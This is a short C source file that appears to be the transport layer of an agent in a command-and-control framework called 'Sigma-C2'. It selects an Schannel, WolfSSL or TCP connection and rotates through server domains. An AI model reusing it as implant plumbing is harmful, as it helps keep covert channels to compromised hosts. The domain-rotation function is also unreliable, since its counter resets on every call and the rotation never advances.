Files
Sigma-C2/agent/transport.c
Pavlo Khazov a674b5135a Cosmetics
2025-07-12 20:57:54 +02:00

30 lines
766 B
C

#include "config.h"
#include "transport.h"
#ifndef SNI_HOSTNAME
#define SNI_HOSTNAME "myserver.local" // Default SNI hostname; override in config.h if needed
#endif
Transport* InitTransport(char* domain, unsigned short port) {
#if USE_SCHANNEL
return InitSchannelTransport(domain, port, SNI_HOSTNAME);
#elif USE_WOLFSSL
return InitWolfSSLTransport(domain, port);
#else
return InitTCPTransport(domain, port);
#endif
}
void CleanupTransport(Transport* transport) {
if (transport) {
transport->cleanup(transport->handle);
free(transport);
}
}
char* GetNextDomain() {
unsigned short currentDomain = 0;
char* domain = serverDomains[currentDomain];
currentDomain = (currentDomain + 1) % domainCount;
return domain;
}